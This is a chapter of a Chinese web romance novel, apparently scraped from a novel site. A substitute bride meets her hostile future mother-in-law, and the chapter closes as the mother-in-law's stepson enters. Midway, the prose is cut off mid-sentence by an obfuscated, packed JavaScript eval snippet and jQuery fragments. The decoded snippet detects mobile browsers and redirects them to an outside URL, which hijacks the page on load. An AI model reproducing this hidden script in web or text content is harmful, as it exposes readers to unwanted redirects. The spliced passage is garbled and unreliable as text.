3. 第 3 章

作品:《被未婚夫他弟强取豪夺后

    姚黛蝉跟在素灵身后,于曲径回廊间七拐八绕。素灵仍时不时提点两句景致典故,话却稀落了许多,透着股心不在焉的焦灼。


    行至一处花木掩映的窄园,素灵忽地刹住脚步,“啧”一声,恼道:“哪个没眼色的,将太湖石堵在这儿了!”


    前方小径被一辆板车横断,车上垒几块尚未安置的太湖石。这园子本就僻窄,素灵原是为了抄近道,此刻却成了死胡同。


    “怎会这时运石。”素灵皱眉,“姚娘子,只得绕路了,怕要多走一盏茶的功夫。”


    姚黛蝉自然不能说什么,依言换路,将周遭景致更仔细地收入眼底。


    绕出窄园,视野豁然开朗,竟到了一处清幽所在。一带粉墙环抱,墙外遍植翠竹,与府中富丽迥异,别有一种孤直。


    粉墙高悬一匾额,题三个笔力遒劲,锋芒内敛的大字——玉磬院。


    院外一个十五六岁的婢女正坐着吃饼,听见脚步声,忙跳起:“禄爷,我我没偷懒,就是崴了脚,书都收拾好了——灵姐姐?”


    待看清是素灵,小丫鬟松了口气,脸上泛起尴尬的红晕。


    素灵扫过洒扫一新的庭院,脸色骤淡,只几不可闻地“嗯”了一声,领着姚黛蝉前行。


    将擦过院门时,姚黛蝉方悄然往那处望了眼。


    恰有一阵风袭,竹涛声漫,隐合玉磬。一丝极淡的檀香似有还无逸入鼻中。匾额被晃动的竹枝一衬,生出格外寒冽的风骨来。


    她目光只驻留了一息,便像被烫到似的迅速收回。


    穿过几重愈发轩丽的庭院,姚黛蝉能感受到数道目光从廊柱窗扉后隐秘地投来。脚步微缓,主院抵达。


    正房帘栊低垂,里头传出断续话声与瓷器碰响,氛围却不见半分闲适,反酝着山雨欲来的前兆。


    素灵隔帘子禀报:“夫人,姚娘子到了。”


    里头停了片刻,才传出一道烦郁的女声:“进来吧。”


    这便是她的“未来婆母”了。


    姚黛蝉胸脯深深起伏,低头步入。


    浓郁的百合甜香扑面,险些叫姚黛蝉呼吸不上来。


    屋内陈设富贵华丽,何氏斜倚在临窗的贵妃榻上,一身绛紫缠枝牡丹纹的常服,云髻高绾,插支赤金点翠簪。保养得宜的面容看不出病色,只眉眼间聚着股毫不掩饰的锐利。


    她手中漫不经心地把玩着一柄羊脂白玉如意,目光却如冷电般落在姚黛蝉脸上。修剪得体的两弯眉果然一皱,视线立即将她从头到脚脚刮过。


    榻边小杌上坐着个穿水绿比甲的少女,正为何氏轻轻捶腿,此时也抬眼望来,眼中闪过毫不掩饰的惊艳,遂又怕被斥责似的垂脸。


    “抬起头来。”何氏淡淡道。


    姚黛蝉依言微微抬首,目光仍恭敬地垂视下方,由暖阳毫无保留地照亮她一张脸。


    何氏捏紧了玉如意,眼底闪过冷意。


    她扯扯嘴角:“是个齐整孩子。走近些,让我仔细瞧瞧。”


    姚黛蝉依言上前,在离榻约五步远处停下。


    这下何氏看得分分明明。


    那身半旧短袄裙掩不住窈窕身段,即便低眉顺目也压不住清艳光彩。


    哪里是之前打听到的寻常标致,分明是能惹祸的根苗!


    自己那不成器的儿子见了还不得被迷得找不着北?


    何氏盯着那张脸,忽地想起府里老人闲聊时提过的旧事…那位继室太夫人也是姚家的,过门后便把中馈捏得死紧。


    何氏无奈认下这婚事,本存着小门户好管教的心思,没想姚家扯谎送这么个人来,是想彻底拿捏住骄儿,好将来学她那曾姑母把持侯府?


    “我也是方才听说,你路上遭了难,只身一人入京?”何氏的语气依旧平淡,却已具压迫。


    “是。”姚黛蝉低声,“托赖天恩,侥幸生还。只是随行妈妈与行李……皆失落了。”


    姚黛蝉忌惮崔云柯,怕说多错多。然这时候也只能扯谎,顺便解释她一身旧衣的缘由。


    然不过是遇难了一艘船而已,于京城的贵人们什么都不是。


    “可怜见。”何氏也只客套叹一声,“这些贼寇越发猖獗,那船也是,竟没个提前放哨的。”


    她话锋一转,带几分自矜:“几个水匪罢了。往后你见了大爷,就知这些不过他一刀的事。”


    姚黛蝉经她这一说,才想起一直没听过替嫁对象的踪迹,不由慢声:


    “大爷…也去剿匪了?”


    她记得那崔云柯亲口说兄长遇事。崔云筏在都督府任职,似乎也有机会赴外执行任务。


    何氏面色微变,语气含糊地岔开:“他有他的职务要做,这些待你进门了再说。”


    姚黛蝉便不再问,心头却有了计较。


    这位大爷的差事想来并不如何,人恐也不在侯府。


    她语气依旧恭顺:“敢问夫人,不知婚期何时?我也好回信家中,让他们快些重新运来陪嫁,免得辜负了侯府与姚家的情谊,失了礼数。”


    何氏没好气地打量眼前少女,不满她急于定论,却又满意她还算懂规矩。骄儿二十有六,姬妾成群却无子嗣,她早就等不及了。虽不喜这姚家女,可又哪里有更好的选择?


    她不禁又叹,“你是好孩子。就在下月初三,吉日。嫁妆不急,侯府暂先充份也无妨。”


    “下月初三。”姚黛蝉心中默念一遍,心头冰凉。


    竟不足一月!


    她强按下喉头的窒闷,努力让声音听起来乖巧:“惜翎记下了,定早日禀明家中。”


    “既来了,便安分些。缺什么报上来便是。”何氏目光扫过她空荡荡的手腕,语气缓了缓,却不减掌控之意,“侯府有侯府的规矩,与你苏州家中不同。回头让嬷嬷去好好教你,也免得日后出丑。”


    何氏也并非刻意刁难。他们早打听详尽,姚惜翎在苏州府不算守矩之人,如今瞧着虽沉静,可谁知道是不是装的?


    须得教导好了,才能安心送上儿子的床。


    姚黛蝉应下:“是,谢夫人教诲。”


    看她柔顺低头,何氏眼神点在她细长十指上。


    “都说江南女儿手巧。据闻你母亲苏氏有一手极佳的苏绣技艺,不知你承了几分?”


    话音落下,室内那浓郁的百合甜香仿佛都凝滞了一瞬。姚黛蝉垂着的眼睫剧烈颤抖,搭在膝上的十指歘地蜷起。


    她却不知,苏氏何时有了手好绣艺?


    绣艺绝佳的分明是她的亲娘陆菱。


    苏氏仗着是姚锵成婚前就侍奉在侧的通房,暗中使过许多手段,硬将她娘逼得郁郁而终,害她六岁失恃。被姚锵扶了正后,竟是把她娘的嫁妆捏在手里不止,连这荣光都要窃取。


    姚黛蝉感到胃中冰冷的恶心,却强迫自己松开了拳,一派茫然道:


    “家母并不善绣,家中针线活计,多是托针黹上的妈妈打理。”


    “不善绣艺?”何氏颇为意外,责备地看向素灵。


    又不一样?打这姚惜翎进门,从容貌到性情,竟没有一处和查到的消息对得上。


    素灵百口莫辩——苏州府离京千里,她哪里能事事查证清楚?


    “不过,”姚黛蝉适时柔声,“家中已故多年的陆夫人确实绣艺绝佳。想是苏州府的人以讹传讹,才叫夫人误会。”


    何氏微讶,眼神登时再变。她倒老实,竟主动提起姚家的阴私。


    是了,姚家原本是有个正头夫人。何氏虽懒得深究外家琐事,却也品出了里头的弯弯绕绕。


    这如今的知府夫人,原也不过是个不上台面的通房而已。


    天下主母就没有喜欢妾室的。何氏乜着恭顺的姚黛蝉,心境忽然微妙起来。


    这丫头的做派,倒真不像小娘养的,到底是真实诚,还是藏得深?


    无论如何,何氏倒不那么厌屋及乌,“想是底下人搞错了。”


    她换个坐姿,有一搭没一搭地问起江南风貌,眼神飘向窗外的日影。话头牵得生硬,显然兴致寥寥。


    姚黛蝉答得简短,心下逐渐却雪亮。这位未来婆母压根不想同她说话。


    可她偏要忍着不舒服拘着自己,图什么?


    姚黛蝉想起姚家的祖母来。


    第一日回府,她听着张妈妈的话,懵懵懂懂去问祖母好。


    祖母并不想见她。


    雪连片下,她冻得手脸发紫,却见姚惜翎姚惜翰欢脱地从侧门跑出,颈上金圈一闪一闪。


    何氏如此,是在避


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058058|194916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谁?


    肚子扁得慌,姚黛蝉挂念起那半块没吃完的饼来,未在意水蓝长衫的女子掀帘入内。兴致缺缺的何氏一见她,当即坐直。素心矮身附耳几句,何氏脸上浮出类乎庆幸的神色来。


    “回话说,我还头痛,这几日不得见风。”


    素心称是去了。


    何氏惬意地支首,心中反复盘算。


    留着这姚家女杵在跟前,一是想替骄儿磨磨性子,二来,也是存了别的心思。


    那孽障既一跃成了少詹事,还在侯府娶亲的档口回府长居,必是打着来主院耀武耀威膈应人的主意,报当年之仇。


    她将姚家女拘在这做出婆媳亲厚的模样,既能提醒那孽障侯府谁说了算,也告诉他,他大哥要成婚,世子素来立嫡立长,名正言顺。


    老侯爷再喜欢他有什么用?人都死了三年了!


    可一想到那张肖似薛氏的脸,听他滴水不漏却字字冰人的话,何氏心口便止不住发紧。尤其在外人面前,万一那孽障蓄意说些不中听的,她这当家主母的颜面何存?


    幸好得来皇帝留他用饭的消息,不枉她担惊受怕了一整个晌午。


    何氏心情好了些许,面上也显出轻松来,才留意到姚黛蝉还在五步外本本分分站着。


    到底是正经官家养出来的姑娘,这么瞧着,是比揽芳阁的妖精们顺眼。


    何氏抿了口茶,将将打算再探探她举止,眉头忽而紧皱。


    “你身上是什么味道?”


    姚黛蝉等了半日,未料何氏会从气味挑刺,不解地迎上她视线。


    “回夫人,惜翎不爱用香。来前梳洗过,当…无异味。”


    语毕,又将头低下。


    何氏知是自己语气太重叫她误会了,“你莫要多想。只是我一贯闻不得檀木香,格外敏感。惜翎,你可是在哪处无意沾染的?”


    姚黛蝉始料未及。


    檀木香…


    她自然不用,也仅到了京畿后才陆续闻到了几回。还都出自同一人身上。


    姚黛蝉犹豫,“许是在侯府来接应的车上不慎熏到了些。”


    细想一圈,唯有停在马车上的时间长。


    路上崔禄一直与她说话,她又吊着脑筋,并未留意什么香气。


    “马车?”却轮到何氏惊讶,她何曾派马车去接应了?


    船只抵达日期都未定,谁有那般闲心照看外人?


    姚黛蝉凝滞,难道崔云柯的堵截毫无侯府授意?


    不妙的预感刹那翻涌,她一时不知如何组织语言,何氏捂鼻,“府中的车从不会熏什么檀香,你莫不是弄错了。”


    她万分嫌弃的模样,姚黛蝉环顾四遭,知情识趣道:“我为夫人卷帘透透气。”


    “天气确也热了些。”何氏正想借此考验一番,自然心安理得受下伺候。姚黛蝉就朝帘栊走去,刚抬手,外头骤然响起丫鬟绷紧的通传:


    “夫人,二爷来给您请安了!”


    “什么?!”何氏手一紧,额角突突地疼了起来。


    “不是在宫中么,怎么这时来了?素心,素灵!”


    姚黛蝉也为她这突然的惊诧一愣,蓦地竖起耳朵。帘后渐近的脚步声清晰可闻,她心头打鼓,还未来得及退开,“哔——”


    帘栊被一只骨节分明的手自外侧稳稳打起。


    不曾及时收回的指尖猝不及防擦过男子手背。


    姚黛蝉愕然瞠目。


    崔云柯的动作因这意外的触碰,几不可察一顿。视线自那双飞快收回的柔荑而下,落入一双因惊骇而睁大的眸子里。


    帘栊割阴阳,他面容在光影交界处,深邃难辨。


    唯独那双沉如寒潭的眼,清晰地映出少女失色的脸。


    姚黛蝉指尖不受控地一阵轻颤,不等动作,便被那双锐利的凤眸钉在原地,连呼吸都滞住。


    崔云柯却再未看她一眼,举步入内。


    他换了身祥云暗纹的素白道袍,外罩件雨过天青色的半袖褡护,额束网巾,腰系宫绦,清贵逼人。行动时,衣袂间逸散的檀香瞬间冲淡了室内甜腻。


    “母亲。”


    青年面向脸色发青的何氏,拱手,声音是一贯的泠然疏离:


    “可还安好?”